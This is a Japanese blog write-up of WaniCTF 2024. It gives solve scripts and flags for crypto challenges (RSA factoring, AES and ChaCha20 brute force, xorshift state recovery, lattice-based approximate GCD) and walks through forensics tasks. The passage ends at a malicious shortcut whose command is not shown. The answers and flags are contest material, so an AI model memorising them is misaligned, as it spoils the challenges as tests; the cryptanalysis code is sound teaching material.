LoginSignup
0
0

WaniCTF 2024

Last updated at Posted at 2024-06-23

6問残って10位。

さっさと全完するか……と思っていたけれど、想像以上に難しくて、土日とGoogle CTFが溶けた。

image.png

score.wanictf.org_chal.png

score.wanictf.org_.png

Crypto

beginners_rsa (Beginner)

chall.py
from Crypto.Util.number import *

p = getPrime(64)
q = getPrime(64)
r = getPrime(64)
s = getPrime(64)
a = getPrime(64)
n = p*q*r*s*a
e = 0x10001

FLAG = b'FLAG{This_is_a_fake_flag}'
m = bytes_to_long(FLAG)
enc = pow(m, e, n)
print(f'n = {n}')
print(f'e = {e}')
print(f'enc = {enc}')

素数が多いRSA。それぞれが64bitなので、正攻法の素因数分解で破れる。

$ sage
┌────────────────────────────────────────────────────────────────────┐
│ SageMath version 9.5, Release Date: 2022-01-30                     │
│ Using Python 3.10.12. Type "help()" for help.                      │
└────────────────────────────────────────────────────────────────────┘
sage: factor(317903423385943473062528814030345176720578295695512495346444822768171649361480819163749494400347)
9953162929836910171 * 11771834931016130837 * 12109985960354612149 * 13079524394617385153 * 17129880600534041513
sage:
solve.py
n = 317903423385943473062528814030345176720578295695512495346444822768171649361480819163749494400347
e = 65537
enc = 127075137729897107295787718796341877071536678034322988535029776806418266591167534816788125330265

F = [
    9953162929836910171,
    11771834931016130837,
    12109985960354612149,
    13079524394617385153,
    17129880600534041513,
]

phi = 1
for f in F:
    phi *= f-1
d = pow(e, -1, phi)
dec = pow(enc, d, n)

from Crypto.Util.number import *
print(long_to_bytes(dec).decode())
$ python3 solve.py
FLAG{S0_3a5y_1254!!}

FLAG{S0_3a5y_1254!!}

beginners_aes (Beginner)

鍵とIVに未知の部分が1バイトしかないので、総当たりすれば良い。

solve.py
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
import hashlib

enc = b'\x16\x97,\xa7\xfb_\xf3\x15.\x87jKRaF&"\xb6\xc4x\xf4.K\xd77j\xe5MLI_y\xd96\xf1$\xc5\xa3\x03\x990Q^\xc0\x17M2\x18'
flag_hash = "6a96111d69e015a07e96dcd141d31e7fc81c4420dbbef75aef5201809093210e"

for k in range(256):
    for i in range(256):
        try:
            key = b"the_enc_key_is_"+bytes([k])
            iv = b"my_great_iv_is_"+bytes([i])
            cipher = AES.new(key, AES.MODE_CBC, iv)
            FLAG = cipher.decrypt(enc)
            FLAG = unpad(FLAG, 16)
            if hashlib.sha256(FLAG).hexdigest()==flag_hash:
                print(FLAG.decode())
        except:
            pass
$ python3 solve.py
FLAG{7h3_f1r57_5t3p_t0_Crypt0!!}

FLAG{7h3_f1r57_5t3p_t0_Crypt0!!}

replacement (Easy)

ハッシュの計算が1文字ずつなので、1文字ずつ総当たりすれば良い。

solve.py
import hashlib

enc = [265685380796387128074260337556987156845, 75371056103973480373443517203033791314, 330443362254714811278522520670919771869, 127044987962124214100696270195559210814, 75371056103973480373443517203033791314, 57512852240092789512489991536185408584, 330443362254714811278522520670919771869, 301648155472379285594517050531127483548, 101473043316046160883738884593606957434, 328441037604453537976363247914938474182, 132117099947440863086225782187112663809, 324787361952219506718126426467652498112, 324787361952219506718126426467652498112, 137941842177346839522203666758205652951, 211852213467947252418279649849888928870, 328441037604453537976363247914938474182, 132117099947440863086225782187112663809, 229138548907862643092856609226723050075, 217694107356916866121607052237984398603, 75371056103973480373443517203033791314, 301648155472379285594517050531127483548, 127360297788558372456973998053019048669, 132117099947440863086225782187112663809, 57512852240092789512489991536185408584, 225291938577970489582719213714180290820, 135217442928347349540220511812067137647, 75371056103973480373443517203033791314, 57512852240092789512489991536185408584, 289548202804218369273708443831392368399, 132117099947440863086225782187112663809, 139335500873816609567900312949843139873, 268343242210070543641525550351035429524, 135217442928347349540220511812067137647, 57512852240092789512489991536185408584, 132117099947440863086225782187112663809, 52025852590564328496031723616521325469, 140302709094137701773086334180578563688, 127360297788558372456973998053019048669, 127044987962124214100696270195559210814, 135217442928347349540220511812067137647, 127044987962124214100696270195559210814, 140175431361313732288440547599619953992, 328441037604453537976363247914938474182, 132117099947440863086225782187112663809, 280290124780175821729678400814355564485, 132117099947440863086225782187112663809, 268343242210070543641525550351035429524, 301648155472379285594517050531127483548, 330443362254714811278522520670919771869, 132117099947440863086225782187112663809, 315344660197335367320188253944546305738, 127360297788558372456973998053019048669, 75371056103973480373443517203033791314, 301648155472379285594517050531127483548, 225291938577970489582719213714180290820, 314410903843616126162868425563187236446, 301648155472379285594517050531127483548, 57512852240092789512489991536185408584, 260950720930659604756740365450507371663, 132117099947440863086225782187112663809, 301648155472379285594517050531127483548, 260950720930659604756740365450507371663, 132117099947440863086225782187112663809, 52025852590564328496031723616521325469, 101473043316046160883738884593606957434, 132117099947440863086225782187112663809, 314410903843616126162868425563187236446, 301648155472379285594517050531127483548, 126195399674046097926516865351960453821, 140302709094137701773086334180578563688, 127360297788558372456973998053019048669, 135217442928347349540220511812067137647, 260950720930659604756740365450507371663, 75371056103973480373443517203033791314, 132117099947440863086225782187112663809, 229138548907862643092856609226723050075, 301648155472379285594517050531127483548, 314410903843616126162868425563187236446, 75371056103973480373443517203033791314, 289548202804218369273708443831392368399, 132117099947440863086225782187112663809, 217928829273870340501940171394986772443, 127360297788558372456973998053019048669, 135217442928347349540220511812067137647, 127044987962124214100696270195559210814, 225291938577970489582719213714180290820, 135217442928347349540220511812067137647, 127044987962124214100696270195559210814, 140175431361313732288440547599619953992, 132117099947440863086225782187112663809, 260950720930659604756740365450507371663, 268343242210070543641525550351035429524, 75371056103973480373443517203033791314, 132117099947440863086225782187112663809, 314410903843616126162868425563187236446, 127360297788558372456973998053019048669, 75371056103973480373443517203033791314, 57512852240092789512489991536185408584, 268343242210070543641525550351035429524, 217694107356916866121607052237984398603, 101473043316046160883738884593606957434, 132117099947440863086225782187112663809, 315344660197335367320188253944546305738, 127360297788558372456973998053019048669, 75371056103973480373443517203033791314, 10477030623836167233684437098032507967, 75371056103973480373443517203033791314, 330443362254714811278522520670919771869, 132117099947440863086225782187112663809, 229138548907862643092856609226723050075, 140302709094137701773086334180578563688, 314410903843616126162868425563187236446, 314410903843616126162868425563187236446, 75371056103973480373443517203033791314, 75371056103973480373443517203033791314, 132117099947440863086225782187112663809, 301648155472379285594517050531127483548, 127044987962124214100696270195559210814, 330443362254714811278522520670919771869, 132117099947440863086225782187112663809, 57512852240092789512489991536185408584, 301648155472379285594517050531127483548, 126195399674046097926516865351960453821, 140302709094137701773086334180578563688, 127360297788558372456973998053019048669, 135217442928347349540220511812067137647, 127044987962124214100696270195559210814, 140175431361313732288440547599619953992, 132117099947440863086225782187112663809, 260950720930659604756740365450507371663, 268343242210070543641525550351035429524, 75371056103973480373443517203033791314, 132117099947440863086225782187112663809, 10477030623836167233684437098032507967, 301648155472379285594517050531127483548, 127360297788558372456973998053019048669, 52025852590564328496031723616521325469, 132117099947440863086225782187112663809, 315344660197335367320188253944546305738, 312483091106876729395161500591121481064, 260950720930659604756740365450507371663, 260950720930659604756740365450507371663, 75371056103973480373443517203033791314, 127360297788558372456973998053019048669, 101473043316046160883738884593606957434, 132117099947440863086225782187112663809, 260950720930659604756740365450507371663, 140302709094137701773086334180578563688, 301648155472379285594517050531127483548, 57512852240092789512489991536185408584, 260950720930659604756740365450507371663, 132117099947440863086225782187112663809, 135217442928347349540220511812067137647, 57512852240092789512489991536185408584, 132117099947440863086225782187112663809, 260950720930659604756740365450507371663, 268343242210070543641525550351035429524, 75371056103973480373443517203033791314, 132117099947440863086225782187112663809, 315344660197335367320188253944546305738, 75371056103973480373443517203033791314, 57512852240092789512489991536185408584, 260950720930659604756740365450507371663, 289548202804218369273708443831392368399, 132117099947440863086225782187112663809, 153336653484216014488860143974073426008, 268343242210070543641525550351035429524, 301648155472379285594517050531127483548, 127044987962124214100696270195559210814, 140175431361313732288440547599619953992, 135217442928347349540220511812067137647, 127044987962124214100696270195559210814, 140175431361313732288440547599619953992, 132117099947440863086225782187112663809, 260950720930659604756740365450507371663, 268343242210070543641525550351035429524, 75371056103973480373443517203033791314, 132117099947440863086225782187112663809, 57512852240092789512489991536185408584, 312483091106876729395161500591121481064, 315344660197335367320188253944546305738, 319779899260524384061247969332041066255, 75371056103973480373443517203033791314, 229138548907862643092856609226723050075, 260950720930659604756740365450507371663, 328441037604453537976363247914938474182, 132117099947440863086225782187112663809, 280290124780175821729678400814355564485, 132117099947440863086225782187112663809, 127360297788558372456973998053019048669, 75371056103973480373443517203033791314, 229138548907862643092856609226723050075, 75371056103973480373443517203033791314, 135217442928347349540220511812067137647, 126195399674046097926516865351960453821, 75371056103973480373443517203033791314, 330443362254714811278522520670919771869, 132117099947440863086225782187112663809, 301648155472379285594517050531127483548, 127044987962124214100696270195559210814, 132117099947440863086225782187112663809, 75371056103973480373443517203033791314, 52025852590564328496031723616521325469, 301648155472379285594517050531127483548, 135217442928347349540220511812067137647, 217694107356916866121607052237984398603, 132117099947440863086225782187112663809, 260950720930659604756740365450507371663, 140302709094137701773086334180578563688, 330443362254714811278522520670919771869, 301648155472379285594517050531127483548, 101473043316046160883738884593606957434, 132117099947440863086225782187112663809, 10477030623836167233684437098032507967, 135217442928347349540220511812067137647, 260950720930659604756740365450507371663, 268343242210070543641525550351035429524, 132117099947440863086225782187112663809, 57512852240092789512489991536185408584, 140302709094137701773086334180578563688, 52025852590564328496031723616521325469, 75371056103973480373443517203033791314, 260950720930659604756740365450507371663, 268343242210070543641525550351035429524, 135217442928347349540220511812067137647, 127044987962124214100696270195559210814, 140175431361313732288440547599619953992, 132117099947440863086225782187112663809, 127360297788558372456973998053019048669, 301648155472379285594517050531127483548, 260950720930659604756740365450507371663, 268343242210070543641525550351035429524, 75371056103973480373443517203033791314, 127360297788558372456973998053019048669, 132117099947440863086225782187112663809, 169393384228144871625990433807197966773, 75371056103973480373443517203033791314, 229138548907862643092856609226723050075, 312483091106876729395161500591121481064, 217694107356916866121607052237984398603, 135217442928347349540220511812067137647, 301648155472379285594517050531127483548, 127360297788558372456973998053019048669, 132117099947440863086225782187112663809, 135217442928347349540220511812067137647, 127044987962124214100696270195559210814, 132117099947440863086225782187112663809, 135217442928347349540220511812067137647, 260950720930659604756740365450507371663, 289548202804218369273708443831392368399, 132117099947440863086225782187112663809, 280290124780175821729678400814355564485, 260950720930659604756740365450507371663, 132117099947440863086225782187112663809, 229138548907862643092856609226723050075, 140302709094137701773086334180578563688, 127044987962124214100696270195559210814, 260950720930659604756740365450507371663, 301648155472379285594517050531127483548, 135217442928347349540220511812067137647, 127044987962124214100696270195559210814, 75371056103973480373443517203033791314, 330443362254714811278522520670919771869, 132117099947440863086225782187112663809, 301648155472379285594517050531127483548, 132117099947440863086225782187112663809, 52025852590564328496031723616521325469, 101473043316046160883738884593606957434, 57512852240092789512489991536185408584, 260950720930659604756740365450507371663, 75371056103973480373443517203033791314, 127360297788558372456973998053019048669, 135217442928347349540220511812067137647, 140302709094137701773086334180578563688, 312483091106876729395161500591121481064, 57512852240092789512489991536185408584, 132117099947440863086225782187112663809, 52025852590564328496031723616521325469, 75371056103973480373443517203033791314, 57512852240092789512489991536185408584, 57512852240092789512489991536185408584, 301648155472379285594517050531127483548, 140175431361313732288440547599619953992, 75371056103973480373443517203033791314, 132117099947440863086225782187112663809, 260950720930659604756740365450507371663, 268343242210070543641525550351035429524, 301648155472379285594517050531127483548, 260950720930659604756740365450507371663, 132117099947440863086225782187112663809, 57512852240092789512489991536185408584, 301648155472379285594517050531127483548, 135217442928347349540220511812067137647, 330443362254714811278522520670919771869, 132117099947440863086225782187112663809, 302282648683284548814202807340787655613, 139335500873816609567900312949843139873, 268343242210070543641525550351035429524, 135217442928347349540220511812067137647, 57512852240092789512489991536185408584, 132117099947440863086225782187112663809, 135217442928347349540220511812067137647, 57512852240092789512489991536185408584, 132117099947440863086225782187112663809, 301648155472379285594517050531127483548, 132117099947440863086225782187112663809, 57512852240092789512489991536185408584, 75371056103973480373443517203033791314, 229138548907862643092856609226723050075, 127360297788558372456973998053019048669, 75371056103973480373443517203033791314, 260950720930659604756740365450507371663, 132117099947440863086225782187112663809, 229138548907862643092856609226723050075, 140302709094137701773086334180578563688, 330443362254714811278522520670919771869, 75371056103973480373443517203033791314, 328441037604453537976363247914938474182, 132117099947440863086225782187112663809, 57512852240092789512489991536185408584, 140302709094137701773086334180578563688, 132117099947440863086225782187112663809, 169393384228144871625990433807197966773, 217694107356916866121607052237984398603, 75371056103973480373443517203033791314, 301648155472379285594517050531127483548, 57512852240092789512489991536185408584, 75371056103973480373443517203033791314, 132117099947440863086225782187112663809, 330443362254714811278522520670919771869, 140302709094137701773086334180578563688, 127044987962124214100696270195559210814, 285106641514631128245889883706054218556, 260950720930659604756740365450507371663, 132117099947440863086225782187112663809, 260950720930659604756740365450507371663, 75371056103973480373443517203033791314, 217694107356916866121607052237984398603, 217694107356916866121607052237984398603, 132117099947440863086225782187112663809, 301648155472379285594517050531127483548, 127044987962124214100696270195559210814, 101473043316046160883738884593606957434, 140302709094137701773086334180578563688, 127044987962124214100696270195559210814, 75371056103973480373443517203033791314, 289548202804218369273708443831392368399, 132117099947440863086225782187112663809, 165799207128434858641672726827070059029, 334755564751598048042394781213255939012, 335344749019279195985775024993445213947, 301423883473918993177634428163190101268, 42767516990368493138776584305024125808, 324787361952219506718126426467652498112, 53459933652527578064242465506376923016, 75371056103973480373443517203033791314, 169393384228144871625990433807197966773, 217694107356916866121607052237984398603, 204791166937441563272975036703176244680, 229138548907862643092856609226723050075, 75371056103973480373443517203033791314, 52025852590564328496031723616521325469, 53459933652527578064242465506376923016, 127044987962124214100696270195559210814, 260950720930659604756740365450507371663, 82324359399928500054185503234815398877, 302282648683284548814202807340787655613, 289548202804218369273708443831392368399, 132117099947440863086225782187112663809, 67435298396569627229809714987765527069, 140302709094137701773086334180578563688, 10477030623836167233684437098032507967, 132117099947440863086225782187112663809, 57512852240092789512489991536185408584, 260950720930659604756740365450507371663, 127360297788558372456973998053019048669, 301648155472379285594517050531127483548, 127044987962124214100696270195559210814, 140175431361313732288440547599619953992, 75371056103973480373443517203033791314, 32129299595146848534093479265394572654, 281595222973318803755638905082365601824, 281595222973318803755638905082365601824, 301423883473918993177634428163190101268, 312483091106876729395161500591121481064, 127360297788558372456973998053019048669, 75371056103973480373443517203033791314, 135217442928347349540220511812067137647, 57512852240092789512489991536185408584, 101473043316046160883738884593606957434, 301648155472379285594517050531127483548]

dec = ""
for e in enc:
    for x in range(256):
        if int(hashlib.md5(str(x).encode()).hexdigest(), 16)==e:
            dec += chr(x)
print(dec)
$ python3 solve.py
Wednesday, 11/8, clear skies. This morning, I had breakfast at my favorite cafe. Drinking the freshly brewed coffee and savoring the warm buttery toast is the best. Changing the subject, I received an email today with something rather peculiar in it. It contained a mysterious message that said "This is a secret code, so please don't tell anyone. FLAG{13epl4cem3nt}". How strange!

Gureisya

FLAG{13epl4cem3nt}

Easy calc (Easy)

chall.py
 :
def f(s, p):
    u = 0
    for i in range(p):
        u += p - i
        u *= s
        u %= p

    return u


p = getPrime(1024)
s = random.randint(1, p - 1)

A = f(s, p)
 :

A が与えられるので、そこから s を復元する問題。

式変形をして等比数列の和の公式を使うと、 $A=\frac{s}{1-s}$ であることが分かる。 $s=\frac{A}{A+1}$ 。

solve.py
p = 108159532265181242371960862176089900437183046655107822712736597793129430067645352619047923366465213553080964155205008757015024406041606723580700542617009651237415277095236385696694741342539811786180063943404300498027896890240121098409649537982185247548732754713793214557909539077228488668731016501718242238229
A = 60804426023059829529243916100868813693528686280274100232668009387292986893221484159514697867975996653561494260686110180269479231384753818873838897508257692444056934156009244570713404772622837916262561177765724587140931364577707149626116683828625211736898598854127868638686640564102372517526588283709560663960
ciphertext = '9fb749ef7467a5aff04ec5c751e7dceca4f3386987f252a2fc14a8970ff097a81fcb1a8fbe173465eecb74fb1a843383'

from hashlib import md5
from Crypto.Util.number import long_to_bytes
from Crypto.Cipher import AES

s = A*pow(A+1, -1, p)%p

ciphertext = bytes.fromhex(ciphertext)
iv, enc = ciphertext[:16], ciphertext[16:]
key = long_to_bytes(s)
key = md5(key).digest()
cipher = AES.new(key, AES.MODE_CBC, iv=iv)
print(cipher.decrypt(enc).decode())
$ python3 solve.py
FLAG{Do_the_math396691ba7d7270a}

FLAG{Do_the_math396691ba7d7270a}

dance (Normal)

謎の共通鍵暗号。

鍵のパターン数が少ないので総当たりすれば良い。XORなので、 encrypt で復号もできる。

solve.py
username = 'gureisya'
ciphertext = '061ff06da6fbf8efcd2ca0c1d3b236aede3f5d4b6e8ea24179'

from mycipher import MyCipher
import hashlib

def make_token(data1: str, data2: str):
    sha256 = hashlib.sha256()
    sha256.update(data1.encode())
    right = sha256.hexdigest()[:20]
    sha256.update(data2.encode())
    left = sha256.hexdigest()[:12]
    token = left + right
    return token

for minutes in range(60):
    for sec in range(60):
        for rnd in range(11):
            data1 = f'user: {username}, {minutes}:{sec}'
            data2 = f'{username}'+str(rnd)
            token = make_token(data1, data2)

            sha256 = hashlib.sha256()
            sha256.update(token.encode())
            key = sha256.hexdigest()[:32]
            nonce = token[:12]
            cipher = MyCipher(key.encode(), nonce.encode())

            plaintext = cipher.encrypt(bytes.fromhex(ciphertext))
            if b"FLAG{" in plaintext:
                print(plaintext)

これをcry-danceディレクトリに置いて、

$ python3 solve.py
b'FLAG{d4nc3_l0b0t_d4nc3!!}'

謎の共通鍵暗号はChaCha20だったらしい。

FLAG{d4nc3_l0b0t_d4nc3!!}

speedy (Hard)

cipher.py
from Crypto.Util.number import *
from Crypto.Util.Padding import *

def rotl(x, y):
    x &= 0xFFFFFFFFFFFFFFFF
    return ((x << y) | (x >> (64 - y))) & 0xFFFFFFFFFFFFFFFF

class MyCipher:
    def __init__(self, s0, s1):
        self.X = s0
        self.Y = s1
        self.mod = 0xFFFFFFFFFFFFFFFF
        self.BLOCK_SIZE = 8
    
    def get_key_stream(self):
        s0 = self.X
        s1 = self.Y
        sum = (s0 + s1) & self.mod
        s1 ^= s0
        key = []
        for _ in range(8):
            key.append(sum & 0xFF)
            sum >>= 8
        
        self.X = (rotl(s0, 24) ^ s1 ^ (s1 << 16)) & self.mod
        self.Y = rotl(s1, 37) & self.mod
        return key
    
    def encrypt(self, pt: bytes):
        ct = b''
        for i in range(0, len(pt), self.BLOCK_SIZE):
            ct += long_to_bytes(self.X)
            key = self.get_key_stream()
            block = pt[i:i+self.BLOCK_SIZE]
            ct += bytes([block[j] ^ key[j] for j in range(len(block))])
        return ct
chall.py
from cipher import MyCipher
from Crypto.Util.number import *
from Crypto.Util.Padding import *
import os

s0 = bytes_to_long(os.urandom(8))
s1 = bytes_to_long(os.urandom(8))

cipher = MyCipher(s0, s1)
secret = b'FLAG{'+b'*'*19+b'}'
pt = pad(secret, 8)
ct = cipher.encrypt(pt)
print(f'ct = {ct}')

Xorshiftみたいな感じの鍵ストリームで暗号化している。フラグの先頭の FLAG{ と末尾のパディングから逆算しろと……? え、難しくない? と思ったけど、ソースコードを良く見たら各ステップで X が出力されていた。ここから楽に逆算できる。

solve.py
ct = b'"G:F\xfe\x8f\xb0<O\xc0\x91\xc8\xa6\x96\xc5\xf7N\xc7n\xaf8\x1c,\xcb\xebY<z\xd7\xd8\xc0-\x08\x8d\xe9\x9e\xd8\xa51\xa8\xfbp\x8f\xd4\x13\xf5m\x8f\x02\xa3\xa9\x9e\xb7\xbb\xaf\xbd\xb9\xdf&Y3\xf3\x80\xb8'

from Crypto.Util.number import *
from cipher import MyCipher

x0 = bytes_to_long(ct[0:8])
x1 = bytes_to_long(ct[16:24])
y = (x1^x0^x0<<16^x0<<24^x0>>40)&0xffffffffffffffff
y0 = y&0xffff
y0 |= (y0<<16^y)&0xffff0000
y0 |= (y0<<16^y)&0xffff00000000
y0 |= (y0<<16^y)&0xffff000000000000

cipher = MyCipher(x0, y0)
flag = b""
for i in range(4):
    key = cipher.get_key_stream()
    block = ct[i*16+8:i*16+16]
    flag += bytes([block[j] ^ key[j] for j in range(len(block))])
flag = flag[:-flag[-1]].decode()
print(flag)

これをcry-speedyディレクトリに置いて、

$ python3 cry-speedy/solve.py
FLAG{x013_ro74te_5hif7!!}

FLAG{x013_ro74te_5hif7!!}

Many Xor Shift (Normal)

フラグをXorshiftの初期状態として、 M 回乱数を生成した後の状態が与えられる。

Xorshiftは逆算できるよね、と下記のコードの naive の関数を書いた。全然終わらないと思ったら M が大きかった。なるほど、「Many」。

この逆算の処理は行列で表現できるので、行列の累乗の高速化をすれば良い。競技プログラミングでたまに出てくるやつ。

solve.py
N = 7
M = 17005450388330379
WORD_SIZE = 32
state = [1927245640, 871031439, 789877080, 4042398809, 3950816575, 2366948739, 935819524]

def naive():
    S = state[:]
    for _ in range(M):
        S[6] ^= S[5]
        S[6] ^= S[5]>>19
        S[6] ^= S[6]>> 8&0b00000000_11111111_00000000_00000000
        S[6] ^= S[6]>> 8&0b00000000_00000000_11111111_00000000
        S[6] ^= S[6]>> 8&0b00000000_00000000_00000000_11111111
        S[6] ^= S[6]<<11&0b00000000_00111111_11111000_00000000
        S[6] ^= S[6]<<11&0b11111111_11000000_00000000_00000000
        S = S[6:]+S[:6]
    f = b"".join(s.to_bytes(4, "big") for s in S)
    print(f)
#naive()

n = 7*32

def mul(M1, M2):
    M = [[0]*n for _ in range(n)]
    for y in range(n):
        for x in range(n):
            for i in range(n):
                M[y][x] ^= M1[y][i]&M2[i][x]
    return M

def I():
    return [[int(x==y) for x in range(n)] for y in range(n)]

M1 = I()

# S[6] ^= S[5]
Mt = I()
for i in range(32):
    Mt[6*32+i][5*32+i] = 1
M1 = mul(Mt, M1)

# S[6] ^= S[5]>>19
Mt = I()
for i in range(13):
    Mt[6*32+i][5*32+i+19] = 1
M1 = mul(Mt, M1)

# S[6] ^= S[6]>> 8&0b00000000_11111111_00000000_00000000
Mt = I()
for i in range(8):
    Mt[6*32+i+16][6*32+i+24] = 1
M1 = mul(Mt, M1)

# S[6] ^= S[6]>> 8&0b00000000_00000000_11111111_00000000
Mt = I()
for i in range(8):
    Mt[6*32+i+8][6*32+i+16] = 1
M1 = mul(Mt, M1)

# S[6] ^= S[6]>> 8&0b00000000_00000000_00000000_11111111
Mt = I()
for i in range(8):
    Mt[6*32+i][6*32+i+8] = 1
M1 = mul(Mt, M1)

# S[6] ^= S[6]<<11&0b00000000_00111111_11111000_00000000
Mt = I()
for i in range(11):
    Mt[6*32+i+11][6*32+i] = 1
M1 = mul(Mt, M1)

# S[6] ^= S[6]<<11&0b11111111_11000000_00000000_00000000
Mt = I()
for i in range(10):
    Mt[6*32+i+22][6*32+i+11] = 1
M1 = mul(Mt, M1)

# S = S[6:]+S[:6]
Mt = [[0]*n for _ in range(n)]
for i in range(32):
    Mt[i][6*32+i] = 1
for i in range(32*6):
    Mt[i+32][i] = 1
M1 = mul(Mt, M1)

M2 = I()
while M>0:
    if M%2!=0:
        M2 = mul(M2, M1)
    M1 = mul(M1, M1)
    M //= 2

flag = 0
for y in range(n):
    for x in range(n):
        flag ^= ((state[x//32]>>(x%32)&1)&M2[y][x])<<y

flag = flag.to_bytes(28, "big")
flag2 = b""
for i in range(7)[::-1]:
    flag2 += flag[i*4:i*4+4]
print(flag2.decode())
$ python3 solve.py
FLAG{m47r1x_!n_8inary_w0rld}

FLAG{m47r1x_!n_8inary_w0rld}

uf (Very hard)

解けなかった。

chall.py
import os
from secrets import randbits
from Crypto.Util.number import bytes_to_long


FLAG = os.environb.get(b"FLAG", b"FAKE{THIS_IS_DUMMY_FLAG}")
m = bytes_to_long(FLAG)
assert m.bit_length() >= 512


def encrypt(m: int, n: int = 512) -> int:
    x = 0
    for i in range(n):
        x <<= 1
        x += m * randbits(1)
        if i >= n // 2:
            x ^= randbits(1)
    return x


X = [encrypt(m) for _ in range(4)]
print(X)

シンプル。要は、 $f \times R_i\ \mathrm{xor}\ S_i$ が4個与えられる。 $f$ はフラグで560 bitくらい。 $R_i$ は512 bit、$S_i$ は256 bitの乱数。

$S_i$ が無ければGCDを計算して終わりなのだけど。

下位ビットにノイズが入るあたり、LLLっぽさを感じる。でも、 $f \times R_i$ のどちらも変数はどうしようもないよな……。$f$ を固定すればLLLで $R_i$ 求めることはできる。 $R_i$ が小さくなるように $f$ を上位ビットから決めるのはどうだろうか → 上手くいかず。

$X$ の上位ビットに影響するのは $f$ と $R_i$ の上位ビットだから上位ビットはだいたい決まる。下位ビットも順に求まっていくのでは……とZ3に投げても終わらず。手作業で上位ビットから決めていくようにしてもダメ。

Approximate GCD、そんなものがあるのか。

これを簡約するだけで良いと。

\begin{pmatrix}
   1 & X_1 & X_1 & X_1 \\
   0 & X_2 & 0 & 0 \\
   0 & 0 & X_3 & 0 \\
   0 & 0 & 0 & X_4
\end{pmatrix}

なるほど。$X_i\ (i\geq2)$ を任意の回数足し引きして良いから、それで値を小さくできるような $k X_1$ の $k$ は何ですか? という話か。言われてみれば、シンプルな話。

solve.sage
X = [6643852762092641655051592752286380661448697120839285262713138738793179330857521051418707355387198243788554658967735136760757552410466512939791351078152197994352930016306075464400264019640466277732596022216246131141036813931972036259910390741311141390889450882074162723823607552591155184799627590418587536982033939537563823, 4495106960532238798978878322218382764459613684889887356979907395021294655849239390809608204284927849117763119933285899077777162943233437728643056322845118660545730870443735090094400144586494098834221418487123653668703665085461676013454922344247818407399456870636622800919629442727075235809213114639237367651539678560390951, 7622226387024225267485603541284038981214490586915816777231024576546652676746968149372915915975325662783469952634025859954515971134032563991925283958708572235632178937041656690377178266198211581176947491463237398083133658483056792368618417698027992083481412961301906342594056438180675328433412539805240307255787971167535638, 1149407465454162408488208063367931363888120160126632926627929705372269921465081968665764846439238807939361247987642326885758277171318666479752274577607727935160689442316433824450832192798328252739495913920016290902086534688608562545166349970831960156036289570935410160077618096614135121287858428753273136461851339553609896]

M = Matrix([
    [1, X[1], X[2], X[3]],
    [0, X[0],    0,    0],
    [0,    0, X[0],    0],
    [0,    0,    0, X[0]],
]).LLL()

f = int(abs(X[0]//M[0][0]))
f = f.to_bytes((f.bit_length()+7)//8, "big").decode()
print(f)
$ sage solve2.sage
FLAG{hope_this_chal_is_not_automatically_solved_by_AI_c14ef1732e87a6c}

FLAG{hope_this_chal_is_not_automatically_solved_by_AI_c14ef1732e87a6c}

Forensics

tiny_usb (Beginner)

ISOイメージ。

Explzhで開くと中に画像が入っていた。

FLAG.PNG

FLAG{hey_i_just_bought_a_usb}

Surveillance_of_sus (Normal)

悪意ある人物が操作しているのか、あるPCが不審な動きをしています。

そのPCから何かのキャッシュファイルを取り出すことに成功したらしいので、調べてみてください!

Remote Desktopのキャッシュファイルらしい。

RDPビットマップキャッシュについて: NECセキュリティブログ | NEC

この記事の通りに。

image.png

FLAG{RDP_is_useful_yipeee}

codebreaker (Beginner)

QRコードの上に×印が描かれている。

chal_codebreaker.png

手で塗って修正した。

chal_codebreaker.png

FLAG{How_scan-dalous}

I_wanna_be_a_streamer (Easy)

RTPをキャプチャしたpcapから映像を復元しろという問題。

Wiresharkのメニューから Telephony → RTP → RTP Streams。音声ストリームはWiresharkでそのまま聴けるが、映像は無理だった。

エクスポート。これはrtptoolsのフォーマットらしい。

./configure && make で何かエラーになるので適当に直してコンパイル。

ffmpeg用の設定ファイルを用意。

aaa.sdp
v=0
c=IN IP4 127.0.0.1
m=video 4646 RTP/AVP 96
a=rtpmap:96 H264/90000
$ ffmpeg -protocol_whitelist file,udp,rtp -f sdp -i aaa.sdp -copyts -c copy out.mp4

これで待ち受け、 rtplay で流し込んだ。

$ ./rtpplay -f ../file.rtp 127.0.0.1/4646

FLAG{Th4nk_y0u_f0r_W4tching}

tiny_10px (Normal)

10x10ピクセルのJpegファイル。

chal_tiny_10px.jpg

とりあえずサイズを大きくしてみるかと、サイズの 0x0a の部分を 0xa0 に書き換えてみたらこれが正解だったらしく、画像が見られた。

chal_tiny_10px.jpg

FLAG{b1g_en0ugh}

mem_search (Hard)

知らないファイルがあったので開いてみると変な動作をしたので、メモリダンプを取りました!

攻撃はどうやって行われたのでしょう?

それだけ言われても……。

volatility3で探し回った。

$ python3 ../../../git/volatility3/vol.py -f chal_mem_search.DUMP windows.filescan > filescan.txt
filescan.txt
Volatility 3 Framework 2.7.1

Offset	Name	Size

0xcd88c7ab70c0	\$Directory	216
0xcd88c7ab73e0	\Windows\System32\winevt\Logs\Microsoft-Windows-Partition%4Diagnostic.evtx	216
 :
0xcd88cebc2530	\LOCAL\mojo.4076.5416.12963019647313384527	216
0xcd88cebc26c0	\Users\Mikka\Desktop\read_this_as_admin.lnknload	216
0xcd88cebc2850	\Windows\System32\wdmaud.drv	216
 :

read_this_as_admin.lnknload という怪しげなファイル名が見えるのでダンプ。

$ python3 ../../../git/volatility3/vol.py -f chal_mem_search.DUMP windows.dumpfiles --virtaddr 0xcd88cebc26c0
Volatility 3 Framework 2.7.1
Progress:  100.00               PDB scanning finished
Cache   FileObject      FileName        Result

DataSectionObject       0xcd88cebc26c0  read_this_as_admin.lnknload     file.0xcd88cebc26c0.0xcd88ced4e5f0.DataSectionObject.read_this_as_admin.lnknload.dat

バイナリエディタで開くとコマンドが見える。

